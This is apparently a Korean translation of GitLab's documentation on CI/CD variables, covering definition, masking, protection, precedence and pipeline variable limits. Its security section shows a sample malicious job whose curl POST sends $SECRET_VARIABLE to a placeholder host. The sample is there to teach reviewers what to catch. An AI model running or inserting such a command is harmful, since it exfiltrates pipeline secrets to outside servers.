GitLab CI/CD 변수
Offering: GitLab Self-Managed, GitLab Dedicated
CI/CD 변수는 환경 변수의 한 유형입니다. 변수 이름은 러너가 스크립트를 실행하는 데 사용하는 쉘에 의해 제한됩니다. 일관된 동작을 보장하려면 변수 값을 항상 작은따옴표 또는 큰따옴표로 감싸야 합니다. GitLab CI/CD의 고급 사용에 대한 자세한 정보는 GitLab 엔지니어가 공유한 7가지 고급 GitLab CI 워크플로우 핵을 참조하십시오.
CI/CD 변수는 환경 변수의 한 유형입니다. 다음 용도로 사용할 수 있습니다:
- 잡 및 파이프라인의 동작을 제어합니다.
- 재사용할 값을 저장합니다. 예를 들어 잡 스크립트에서 사용합니다.
.gitlab-ci.yml파일에 값을 하드코딩하는 것을 방지합니다.
변수 이름은 러너가 스크립트를 실행하는 데 사용하는 쉘에 의해 제한됩니다. 각 쉘에는 자체적인 예약 변수 이름 집합이 있습니다.
일관된 동작을 보장하려면 변수 값을 항상 작은따옴표 또는 큰따옴표로 감싸야 합니다. 변수는 내부적으로 Psych YAML 파서에 의해 파싱되므로 따옴표로 감싼 변수와 따옴표 없는 변수는 다르게 파싱될 수 있습니다. 예를 들어:
VAR1: 012345는 8진수 값으로 해석되어 값이5349가 됩니다.VAR1: "012345"는012345값을 가진 문자열로 파싱됩니다.VAR1: 019는9가 유효한 8진수 숫자가 아니기 때문에 8진수가 아닌 문자열"019"로 파싱됩니다. 8진수 파싱은 모든 자릿수가 0–7인 경우에만 적용됩니다.
GitLab CI/CD의 고급 사용에 대한 자세한 정보는 GitLab 엔지니어가 공유한 7가지 고급 GitLab CI 워크플로우 핵을 참조하십시오.
사전 정의된 CI/CD 변수#
GitLab CI/CD는 파이프라인 구성 및 잡 스크립트에서 사용할 수 있는 사전 정의된 CI/CD 변수 집합을 제공합니다. 이러한 변수에는 파이프라인이 트리거되거나 실행될 때 필요할 수 있는 잡, 파이프라인 및 기타 값에 대한 정보가 포함됩니다.
사전 정의된 CI/CD 변수는 먼저 선언하지 않고도 .gitlab-ci.yml에서 사용할 수 있습니다. 예를 들어:
job1:
stage: test
script:
- echo "The job's stage is '$CI_JOB_STAGE'"
이 예시의 스크립트는 The job's stage is 'test'를 출력합니다.
.gitlab-ci.yml 파일에서 CI/CD 변수 정의#
.gitlab-ci.yml 파일에서 CI/CD 변수를 만들려면 variables 키워드로 변수와 값을 정의합니다.
.gitlab-ci.yml 파일에 저장된 변수는 저장소에 접근할 수 있는 모든 사용자에게 표시되며, 비민감한 프로젝트 구성만 저장해야 합니다. 예를 들어, DATABASE_URL 변수에 저장된 데이터베이스 URL. 시크릿이나 키와 같은 값을 포함하는 민감한 변수는 UI에서 추가해야 합니다.
variables는 다음에서 정의할 수 있습니다:
- 잡: 변수는 해당 잡의
script,before_script또는after_script섹션과 일부 잡 키워드에서만 사용할 수 있습니다. .gitlab-ci.yml파일의 최상위 수준: 변수는 파이프라인의 모든 잡에 대한 기본값으로 사용 가능하지만, 동일한 이름을 가진 변수를 정의하는 잡은 제외됩니다. 잡의 변수가 우선합니다.
두 경우 모두, 이러한 변수는 전역 키워드와 함께 사용할 수 없습니다.
예를 들어:
variables:
ALL_JOBS_VAR: "A default variable"
job1:
variables:
JOB1_VAR: "Job 1 variable"
script:
- echo "Variables are '$ALL_JOBS_VAR' and '$JOB1_VAR'"
job2:
variables:
ALL_JOBS_VAR: "Different value than default"
JOB2_VAR: "Job 2 variable"
script:
- echo "Variables are '$ALL_JOBS_VAR', '$JOB2_VAR', and '$JOB1_VAR'"
이 예시에서:
job1출력:Variables are 'A default variable' and 'Job 1 variable'job2출력:Variables are 'Different value than default', 'Job 2 variable', and ''
value 및 description 키워드를 사용하여 수동으로 트리거된 파이프라인에 대해 미리 채워진 변수를 정의합니다.
단일 잡에서 기본 변수 건너뛰기#
기본 변수를 잡에서 사용하지 않으려면 variables를 {}로 설정합니다:
variables:
DEFAULT_VAR: "A default variable"
job1:
variables: {}
script:
- echo This job does not need any variables
UI에서 CI/CD 변수 정의#
토큰이나 비밀번호와 같은 민감한 변수는 .gitlab-ci.yml 파일이 아닌 UI의 설정에 저장해야 합니다.
기본적으로 포크된 프로젝트의 파이프라인은 상위 프로젝트에서 사용 가능한 CI/CD 변수에 접근할 수 없습니다. 포크에서 제출된 머지 리퀘스트에 대해 상위 프로젝트에서 머지 리퀘스트 파이프라인을 실행하는 경우, 모든 변수가 파이프라인에서 사용 가능하게 됩니다.
프로젝트에서#
히스토리
- 기본 가시성이 GitLab 18.3에서 Visible에서 Masked로 변경.
프로젝트의 설정에 CI/CD 변수를 추가할 수 있습니다. 프로젝트는 최대 8000개의 CI/CD 변수를 가질 수 있습니다.
사전 조건:
- 유지 관리자 역할이 있는 프로젝트 멤버여야 합니다.
프로젝트 설정에서 변수를 추가하거나 업데이트하려면:
- 상단 표시줄에서 Search or go to를 선택하고 프로젝트를 찾습니다.
- 왼쪽 사이드바에서 Settings > CI/CD를 선택합니다.
- Variables를 펼칩니다.
- Add variable을 선택하고 세부 정보를 입력합니다:
- Key: 공백 없이 한 줄로, 문자, 숫자 또는
_만 사용합니다. - Value: 값은 10,000자로 제한되지만, 러너의 운영 체제 제한에 의해서도 제한됩니다. Visibility가 Masked 또는 Masked and hidden으로 설정된 경우 값에 추가 제한이 있습니다.
- Type:
Variable(기본값) 또는File. - Environment scope: 선택 사항. All (default)(
*), 특정 환경 또는 와일드카드 환경 범위. - Protect variable 선택 사항. 선택한 경우, 변수는 보호된 브랜치 또는 보호된 태그에서 실행되는 파이프라인에서만 사용 가능합니다.
- Visibility: Visible, Masked(기본값) 또는 Masked and hidden을 선택합니다.
- Expand variable reference: 선택 사항. 선택한 경우, 변수는 다른 변수를 참조할 수 있습니다. Visibility가 Masked 또는 Masked and hidden으로 설정된 경우 다른 변수를 참조하는 것이 불가능합니다.
- Key: 공백 없이 한 줄로, 문자, 숫자 또는
또는 API를 사용하여 프로젝트 변수를 추가할 수 있습니다.
그룹에서#
히스토리
- 기본 가시성이 GitLab 18.3에서 Visible에서 Masked로 변경.
그룹의 모든 프로젝트에서 CI/CD 변수를 사용 가능하게 할 수 있습니다. 그룹은 최대 30000개의 CI/CD 변수를 가질 수 있습니다.
사전 조건:
- 소유자 역할이 있는 그룹 멤버여야 합니다.
그룹 변수를 추가하려면:
- 상단 표시줄에서 Search or go to를 선택하고 그룹을 찾습니다.
- 왼쪽 사이드바에서 Settings > CI/CD를 선택합니다.
- Variables를 펼칩니다.
- Add variable을 선택하고 세부 정보를 입력합니다:
- Key: 공백 없이 한 줄로, 문자, 숫자 또는
_만 사용합니다. - Value: 값은 10,000자로 제한되지만, 러너의 운영 체제 제한에 의해서도 제한됩니다. Visibility가 Masked 또는 Masked and hidden으로 설정된 경우 값에 추가 제한이 있습니다.
- Type:
Variable(기본값) 또는File. - Protect variable 선택 사항. 선택한 경우, 변수는 보호된 브랜치 또는 보호된 태그에서 실행되는 파이프라인에서만 사용 가능합니다.
- Visibility: Visible, Masked(기본값), Masked and hidden을 선택합니다.
- Expand variable reference: 선택 사항. 선택한 경우, 변수는 다른 변수를 참조할 수 있습니다. Visibility가 Masked 또는 Masked and hidden으로 설정된 경우 다른 변수를 참조하는 것이 불가능합니다.
- Key: 공백 없이 한 줄로, 문자, 숫자 또는
프로젝트에서 사용 가능한 그룹 변수는 프로젝트의 Settings > CI/CD > Variables 섹션에 나열됩니다. 서브그룹의 변수는 재귀적으로 상속됩니다.
또는 API를 사용하여 그룹 변수를 추가할 수 있습니다.
환경 범위#
특정 환경에 대해서만 그룹 CI/CD 변수를 사용 가능하게 설정하려면:
- 상단 표시줄에서 Search or go to를 선택하고 그룹을 찾습니다.
- 왼쪽 사이드바에서 Settings > CI/CD를 선택합니다.
- Variables를 펼칩니다.
- 변수 오른쪽에서 Edit (✏️)를 선택합니다.
- Environment scope에서 All (default)(
*), 특정 환경 또는 와일드카드 환경 범위를 선택합니다.
인스턴스에서#
히스토리
- 기본 가시성이 GitLab 18.3에서 Visible에서 Masked로 변경.
GitLab 인스턴스의 모든 프로젝트 및 그룹에서 CI/CD 변수를 사용 가능하게 할 수 있습니다.
사전 조건:
- 인스턴스에 대한 관리자 접근 권한이 있어야 합니다.
인스턴스 변수를 추가하려면:
- 오른쪽 상단 모서리에서 Admin을 선택합니다.
- 왼쪽 사이드바에서 Settings > CI/CD를 선택합니다.
- Variables를 펼칩니다.
- Add variable을 선택하고 세부 정보를 입력합니다:
- Key: 공백 없이 한 줄로, 문자, 숫자 또는
_만 사용합니다. - Value: 값은 10,000자로 제한되지만, 러너의 운영 체제 제한에 의해서도 제한됩니다. Visibility가 Visible로 설정된 경우 다른 제한이 없습니다.
- Type:
Variable(기본값) 또는File. - Protect variable 선택 사항. 선택한 경우, 변수는 보호된 브랜치 또는 태그에서 실행되는 파이프라인에서만 사용 가능합니다.
- Visibility: Visible, Masked(기본값) 또는 Masked and hidden을 선택합니다.
- Expand variable reference: 선택 사항. 선택한 경우, 변수는 다른 변수를 참조할 수 있습니다. Visibility가 Masked 또는 Masked and hidden으로 설정된 경우 다른 변수를 참조하는 것이 불가능합니다.
- Key: 공백 없이 한 줄로, 문자, 숫자 또는
또는 API를 사용하여 인스턴스 변수를 추가할 수 있습니다.
CI/CD 변수 보안#
.gitlab-ci.yml 파일에 푸시된 코드는 변수를 손상시킬 수 있습니다. 변수는 잡 로그에 우발적으로 노출되거나 악의적으로 서드파티 서버로 전송될 수 있습니다.
다음을 수행하기 전에 .gitlab-ci.yml 파일에 변경 사항을 도입하는 모든 머지 리퀘스트를 검토하십시오:
가져온 프로젝트의 .gitlab-ci.yml 파일을 파일을 추가하거나 파이프라인을 실행하기 전에 검토하십시오.
다음 예시는 .gitlab-ci.yml 파일에서 악의적인 코드를 보여줍니다:
accidental-leak-job:
script: # Password exposed accidentally
- echo "This script logs into the DB with $USER $PASSWORD"
- db-login $USER $PASSWORD
malicious-job:
script: # Secret exposed maliciously
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
accidental-leak-job과 같은 스크립트를 통해 시크릿이 우발적으로 유출될 위험을 줄이기 위해, 민감한 정보를 포함하는 모든 변수는 항상 잡 로그에서 마스킹되어야 합니다.
또한 변수를 보호된 브랜치 및 태그로만 제한할 수 있습니다.
또는 외부 시크릿 관리 제공업체와 연결하여 시크릿을 저장하고 검색합니다.
malicious-job과 같은 악의적인 스크립트는 검토 과정에서 발견되어야 합니다.
이러한 코드를 발견하면 검토자는 파이프라인을 절대 트리거해서는 안 됩니다. 악의적인 코드는 마스킹된 변수와 보호된 변수를 모두 손상시킬 수 있습니다.
변수 값은 aes-256-cbc를 사용하여 암호화되어 데이터베이스에 저장됩니다. 이 데이터는 유효한 시크릿 파일로 읽고 복호화할 수 있습니다.
CI/CD 변수 마스킹#
CI/CD 변수를 마스킹하는 것은 악의적인 사용자가 변수 값에 접근하는 것을 방지하는 보장된 방법이 아닙니다. 민감한 정보의 보안을 보장하려면 env 또는 printenv와 같은 명령이 시크릿 변수를 출력하는 것을 방지하기 위해 외부 시크릿 및 파일 유형 변수를 사용하는 것을 고려하십시오.
프로젝트, 그룹 또는 인스턴스의 CI/CD 변수를 마스킹하여 잡 로그에 값이 표시되지 않도록 할 수 있습니다. 잡이 마스킹된 변수의 값을 출력할 때 잡 로그에서 값이 [MASKED]로 교체됩니다.
일부 경우에 [MASKED] 값 뒤에 x 문자가 올 수도 있습니다.
사전 조건:
- UI에서 CI/CD 변수를 추가하는 데 필요한 것과 동일한 역할 또는 접근 수준이 있어야 합니다.
변수를 마스킹하려면:
- 그룹, 프로젝트 또는 Admin 영역에서 Settings > CI/CD를 선택합니다.
- Variables를 펼칩니다.
- 보호하려는 변수 옆에서 Edit를 선택합니다.
- Visibility에서 Mask variable을 선택합니다.
- 권장. Expand variable reference 체크박스를 지웁니다.
변수 확장이 활성화된 경우, 변수 값에 사용할 수 있는 비영숫자 문자는
_,:,@,-,+,.,~,=,/,~뿐입니다. 설정이 비활성화되면 모든 문자를 사용할 수 있습니다. - Update variable을 선택합니다.
변수 값은:
- 공백 없이 한 줄이어야 합니다.
- 8자 이상이어야 합니다.
- 기존 사전 정의된 또는 사용자 지정 CI/CD 변수 이름과 일치해서는 안 됩니다.
프로세스가 약간 수정된 방식으로 값을 출력하면 값을 마스킹할 수 없습니다.
예를 들어, 쉘이 특수 문자를 이스케이프하기 위해 \를 추가하면 값이 마스킹되지 않습니다:
- 마스킹된 변수 값 예시:
My[value] - 이 출력은 마스킹되지 않습니다:
My\[value\]
CI_DEBUG_SERVICES가 활성화된 경우 변수 값이 노출될 수 있습니다. 자세한 정보는 서비스 컨테이너 로깅을 참조하십시오.
CI/CD 변수 숨기기#
히스토리
마스킹 외에도 CI/CD 설정 페이지에서 CI/CD 변수 값이 표시되지 않도록 할 수 있습니다. 변수를 숨기는 것은 새 변수를 만들 때만 가능하며, 기존 변수를 숨겨지도록 업데이트할 수 없습니다.
사전 조건:
- UI에서 CI/CD 변수를 추가하는 데 필요한 것과 동일한 역할 또는 접근 수준이 있어야 합니다.
- 변수 값이 마스킹된 변수의 요구사항을 충족해야 합니다.
변수를 숨기려면, UI에서 새 CI/CD 변수를 추가할 때 Visibility 섹션에서 Masked and hidden을 선택합니다. 변수를 저장한 후 변수는 CI/CD 파이프라인에서 사용할 수 있지만 UI에서 다시 표시할 수 없습니다.
CI/CD 변수 보호#
프로젝트, 그룹 또는 인스턴스 CI/CD 변수가 보호된 브랜치 또는 보호된 태그에서 실행되는 파이프라인에서만 사용 가능하도록 구성할 수 있습니다.
병합 결과 파이프라인 및 머지 리퀘스트 파이프라인은 선택적으로 보호된 변수에 접근할 수 있습니다.
사전 조건:
- UI에서 CI/CD 변수를 추가하는 데 필요한 것과 동일한 역할 또는 접근 수준이 있어야 합니다.
변수를 보호로 설정하려면:
- 프로젝트 또는 그룹에서 Settings > CI/CD로 이동합니다.
- Variables를 펼칩니다.
- 보호하려는 변수 옆에서 Edit를 선택합니다.
- Protect variable 체크박스를 선택합니다.
- Update variable을 선택합니다.
변수는 이후의 모든 파이프라인에서 사용 가능합니다.
파일 유형 CI/CD 변수 사용#
모든 사전 정의된 CI/CD 변수와 .gitlab-ci.yml 파일에 정의된 변수는 "변수" 유형입니다(API에서 "variable_type": "env_var").
변수 유형 변수:
- 키-값 쌍으로 구성됩니다.
- 환경 변수로 잡에서 사용 가능하며:
- CI/CD 변수 키가 환경 변수 이름으로 사용됩니다.
- CI/CD 변수 값이 환경 변수 값으로 사용됩니다.
프로젝트, 그룹 및 인스턴스 CI/CD 변수는 기본적으로 "변수" 유형이지만, 선택적으로 "파일" 유형("variable_type": "file" API에서)으로 설정할 수 있습니다.
파일 유형 변수:
- 키, 값 및 파일로 구성됩니다.
- 환경 변수로 잡에서 사용 가능하며:
- CI/CD 변수 키가 환경 변수 이름으로 사용됩니다.
- CI/CD 변수 값이 임시 파일에 저장됩니다.
- 임시 파일의 경로가 환경 변수 값으로 사용됩니다.
파일을 입력으로 필요로 하는 도구에 파일 유형 CI/CD 변수를 사용합니다.
예를 들어, AWS CLI와 kubectl 모두 구성에 File 유형 변수를 사용하는 도구입니다.
kubectl을 다음과 함께 사용하는 경우:
KUBE_URL키와https://example.com값을 가진 변수.KUBE_CA_PEM키와 인증서를 값으로 하는 파일 유형 변수.
변수를 수락하는 --server 옵션으로 KUBE_URL을 전달하고, 파일 경로를 수락하는 --certificate-authority 옵션으로 $KUBE_CA_PEM을 전달합니다:
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
.gitlab-ci.yml 변수를 파일 유형 변수로 사용#
.gitlab-ci.yml 파일에 정의된 CI/CD 변수를 파일 유형 변수로 설정할 수 없습니다. 파일 경로를 입력으로 필요로 하는 도구가 있지만 .gitlab-ci.yml에 정의된 변수를 사용하려는 경우:
- 변수 값을 파일에 저장하는 명령을 실행합니다.
- 해당 파일을 도구와 함께 사용합니다.
예를 들어:
variables:
SITE_URL: "https://gitlab.example.com"
job:
script:
- echo "$SITE_URL" > "site-url.txt"
- mytool --url-file="site-url.txt"
CI/CD 변수 확장 허용#
히스토리
$ 문자가 있는 값을 다른 변수의 참조로 처리하도록 변수를 설정할 수 있습니다.
파이프라인이 실행되면 참조가 확장되어 참조된 변수의 값을 사용합니다.
UI에서 정의된 CI/CD 변수는 기본적으로 확장되지 않습니다. .gitlab-ci.yml 파일에서 정의된 CI/CD 변수의 경우, variables:expand 키워드로 변수 확장을 제어합니다.
사전 조건:
- UI에서 CI/CD 변수를 추가하는 데 필요한 것과 동일한 역할 또는 접근 수준이 있어야 합니다.
변수에 대한 변수 확장을 활성화하려면:
- 프로젝트 또는 그룹에서 Settings > CI/CD로 이동합니다.
- Variables를 펼칩니다.
- 확장하지 않으려는 변수 옆에서 Edit를 선택합니다.
- Expand variable reference 체크박스를 선택합니다.
- Update variable을 선택합니다.
변수 확장을 사용하려는 경우 변수 값을 마스킹하지 마십시오.
마스킹과 변수 확장이 모두 결합되면 문자 제한으로 인해 다른 변수를 참조하기 위한 $ 사용이 방지됩니다.
CI/CD 변수 우선순위#
히스토리
- 스캔 실행 정책 변수 우선순위가 GitLab 16.7에서
security_policies_variables_precedence라는 플래그와 함께 변경. 기본적으로 활성화됨. GitLab 16.8에서 기능 플래그 제거.
다른 위치에서 동일한 이름의 CI/CD 변수를 사용할 수 있지만, 값이 서로를 덮어쓸 수 있습니다. 변수의 유형과 정의 위치에 따라 우선하는 변수가 결정됩니다.
변수의 우선순위(높은 것에서 낮은 것 순):
- 파이프라인 실행 정책 변수.
- 스캔 실행 정책 변수.
- 파이프라인 변수. 이러한 변수는 모두 동일한 우선순위를 가집니다:
- 다운스트림 파이프라인에 전달된 변수.
- 트리거 변수.
- 스케줄된 파이프라인 변수.
- 수동 파이프라인 변수.
- API를 사용하여 파이프라인을 만들 때 추가된 변수.
- 수동 잡 변수.
- 프로젝트 변수.
- 그룹 변수. 동일한 변수 이름이 그룹과 서브그룹에 있는 경우, 잡은 가장 가까운 서브그룹의 값을 사용합니다. 예를 들어,
Group > Subgroup 1 > Subgroup 2 > Project가 있는 경우,Subgroup 2에 정의된 변수가 우선합니다. - 인스턴스 변수.
dotenv보고서의 변수.- 잡 변수 -
.gitlab-ci.yml파일의 잡에서 정의됩니다. - 모든 잡의 기본 변수 -
.gitlab-ci.yml파일의 최상위 수준에서 정의됩니다. - 배포 변수.
- 사전 정의된 변수.
예를 들어:
variables:
API_TOKEN: "default"
job1:
variables:
API_TOKEN: "secure"
script:
- echo "The variable is '$API_TOKEN'"
이 예시에서 job1은 The variable is 'secure'를 출력합니다. .gitlab-ci.yml 파일의 잡에서 정의된 변수가 기본 변수보다 높은 우선순위를 가지기 때문입니다.
파이프라인 변수 사용#
파이프라인 변수는 새 파이프라인을 실행할 때 지정되는 변수입니다.
GitLab 17.7 이후에는 파이프라인 변수를 전달하는 것 대신 파이프라인 입력값이 권장됩니다. 보안 강화를 위해 입력값을 사용할 때 파이프라인 변수를 비활성화해야 합니다.
사전 조건:
- 프로젝트에서 개발자 역할이 있어야 합니다.
다음에서 파이프라인 변수를 지정할 수 있습니다:
- UI에서 파이프라인을 수동으로 실행.
- 스케줄된 파이프라인 만들기.
pipelinesAPI 엔드포인트를 사용하여 파이프라인 만들기.triggersAPI 엔드포인트를 사용하여 파이프라인 만들기.- 푸시 옵션 사용.
variables키워드,trigger:forward키워드 또는dotenv변수를 사용하여 다운스트림 파이프라인에 변수 전달.
이러한 변수는 더 높은 우선순위를 가지며 사전 정의된 변수를 포함한 다른 정의된 변수를 재정의할 수 있습니다.
대부분의 경우 사전 정의된 변수를 재정의하는 것을 피해야 합니다. 파이프라인이 예기치 않게 동작할 수 있습니다.
파이프라인 변수 제한#
히스토리
파이프라인 변수를 사용하여 파이프라인을 실행할 수 있는 사람을 특정 사용자 역할로 제한할 수 있습니다.
더 낮은 역할의 사용자가 파이프라인 변수를 사용하려고 하면 Insufficient permissions to set pipeline variables 오류 메시지를 받습니다.
사전 조건:
- 프로젝트에서 유지 관리자 역할이 있어야 합니다. 최소 역할이 이전에
owner또는no_one_allowed로 설정된 경우 프로젝트에서 소유자 역할이 있어야 합니다.
파이프라인 변수 사용을 유지 관리자 역할 이상으로만 제한하려면:
- Settings > CI/CD > Variables로 이동합니다.
- Minimum role to use pipeline variables에서 다음 중 하나를 선택합니다:
no_one_allowed: 파이프라인 변수로 파이프라인을 실행할 수 없습니다. GitLab.com의 새 네임스페이스의 새 프로젝트 기본값. 이 값으로 설정되면 소유자 역할만 변경할 수 있습니다.owner: 소유자 역할이 있는 사용자만 파이프라인 변수로 파이프라인을 실행할 수 있습니다. 이 값으로 설정을 변경하려면 프로젝트에서 소유자 역할이 있어야 합니다. 이 값으로 설정되면 소유자 역할만 변경할 수 있습니다.maintainer: 유지 관리자 또는 소유자 역할이 있는 사용자만 파이프라인 변수로 파이프라인을 실행할 수 있습니다. GitLab Self-Managed 및 GitLab Dedicated에서 지정하지 않은 경우 기본값.developer: 개발자, 유지 관리자 또는 소유자 역할이 있는 사용자만 파이프라인 변수로 파이프라인을 실행할 수 있습니다.
또한 프로젝트 API를 사용하여 ci_pipeline_variables_minimum_override_role 설정에 대한 역할을 설정할 수 있습니다.
이 제한은 프로젝트 또는 그룹 설정의 CI/CD 변수 사용에 영향을 미치지 않습니다.
대부분의 잡은 여전히 YAML 구성에서 variables 키워드를 사용할 수 있지만, 다운스트림 파이프라인을 트리거하는 trigger 키워드를 사용하는 잡은 제외됩니다. 트리거 잡은 파이프라인 변수로 다운스트림 파이프라인에 변수를 전달하며, 이는 이 설정으로도 제어됩니다.
여러 프로젝트에 대한 파이프라인 변수 제한 활성화#
히스토리
- GitLab 18.4에서 도입.
많은 프로젝트가 있는 그룹의 경우, 현재 파이프라인 변수를 사용하지 않는 모든 프로젝트에서 파이프라인 변수를 비활성화할 수 있습니다. 이 옵션은 파이프라인 변수를 사용한 적이 없는 프로젝트에 대해 Minimum role to use pipeline variables 설정을 no_one_allowed로 설정합니다.
사전 조건:
- 그룹의 소유자 역할이 있어야 합니다.
그룹의 프로젝트에서 파이프라인 변수 제한 설정을 활성화하려면:
- 상단 표시줄에서 Search or go to를 선택하고 그룹을 찾습니다.
- 왼쪽 사이드바에서 Settings > CI/CD를 선택합니다.
- Variables를 펼칩니다.
- Disable pipeline variables in projects that don't use them 섹션에서 Start migration을 선택합니다.
마이그레이션이 백그라운드에서 실행됩니다. 마이그레이션이 완료되면 이메일 알림을 받습니다. 프로젝트 유지 관리자는 필요한 경우 나중에 개별 프로젝트의 설정을 변경할 수 있습니다.
변수 내보내기#
별도의 쉘 컨텍스트에서 실행되는 스크립트는 내보내기, 별칭, 로컬 함수 정의 또는 기타 로컬 쉘 업데이트를 공유하지 않습니다.
즉, 잡이 실패하면 사용자 정의 스크립트로 만들어진 변수는 내보내지지 않습니다.
러너가 .gitlab-ci.yml에 정의된 잡을 실행할 때:
before_script와 메인 스크립트에 지정된 스크립트는 단일 쉘 컨텍스트에서 함께 실행되며 연결됩니다.after_script에 지정된 스크립트는before_script및 지정된 스크립트와 완전히 별도의 쉘 컨텍스트에서 실행됩니다.
스크립트가 실행되는 쉘에 관계없이 러너 출력에는 다음이 포함됩니다:
- 사전 정의된 변수.
- 다음에서 정의된 변수:
- 인스턴스, 그룹 또는 프로젝트 CI/CD 설정.
.gitlab-ci.yml파일의variables:섹션..gitlab-ci.yml파일의secrets:섹션.config.toml.
러너는 export MY_VARIABLE=1과 같이 스크립트 본문에서 실행된 수동 내보내기, 쉘 별칭 및 함수를 처리할 수 없습니다.
예를 들어, 다음 .gitlab-ci.yml 파일에서 다음 스크립트가 정의됩니다:
job:
variables:
JOB_DEFINED_VARIABLE: "job variable"
before_script:
- echo "This is the 'before_script' script"
- export MY_VARIABLE="variable"
script:
- echo "This is the 'script' script"
- echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
- echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
- echo "MY_VARIABLE's value is ${MY_VARIABLE}"
after_script:
- echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
- echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
- echo "MY_VARIABLE's value is ${MY_VARIABLE}"
러너가 잡을 실행할 때:
before_script가 실행됩니다:- 출력에 인쇄됩니다.
MY_VARIABLE에 대한 변수를 정의합니다.
script가 실행됩니다:- 출력에 인쇄됩니다.
JOB_DEFINED_VARIABLE의 값을 인쇄합니다.CI_COMMIT_SHA의 값을 인쇄합니다.MY_VARIABLE의 값을 인쇄합니다.
after_script가 새로운 별도 쉘 컨텍스트에서 실행됩니다:- 출력에 인쇄됩니다.
JOB_DEFINED_VARIABLE의 값을 인쇄합니다.CI_COMMIT_SHA의 값을 인쇄합니다.MY_VARIABLE의 빈 값을 인쇄합니다.after_script는before_script와 별도의 쉘 컨텍스트에 있으므로 변수 값을 감지할 수 없습니다.
관련 항목#
-
Auto DevOps를 구성하여 실행 중인 애플리케이션에 CI/CD 변수를 전달할 수 있습니다. 실행 중인 애플리케이션의 컨테이너에서 CI/CD 변수를 환경 변수로 사용할 수 있도록 하려면,
K8S_SECRET_으로 변수 키에 접두사를 추가합니다. -
GitLab을 사용한 복잡한 구성 데이터 관리 몬스터 관리 동영상은 복잡한 구성 데이터 모노레포 작동 예제 프로젝트의 안내입니다. 복잡한 애플리케이션 빌드 또는 배포 구성을 위해 여러 수준의 그룹 CI/CD 변수를 환경 범위의 프로젝트 변수와 결합하는 방법을 설명합니다.
이 예제를 자체 그룹 또는 인스턴스에 복사하여 테스트할 수 있습니다. 프로젝트 페이지에서 다른 GitLab CI 패턴에 대한 자세한 정보를 확인할 수 있습니다.
-
다운스트림 파이프라인에 CI/CD 변수를 전달할 수 있습니다.
trigger:forward키워드를 사용하여 다운스트림 파이프라인에 전달할 변수 유형을 지정합니다.
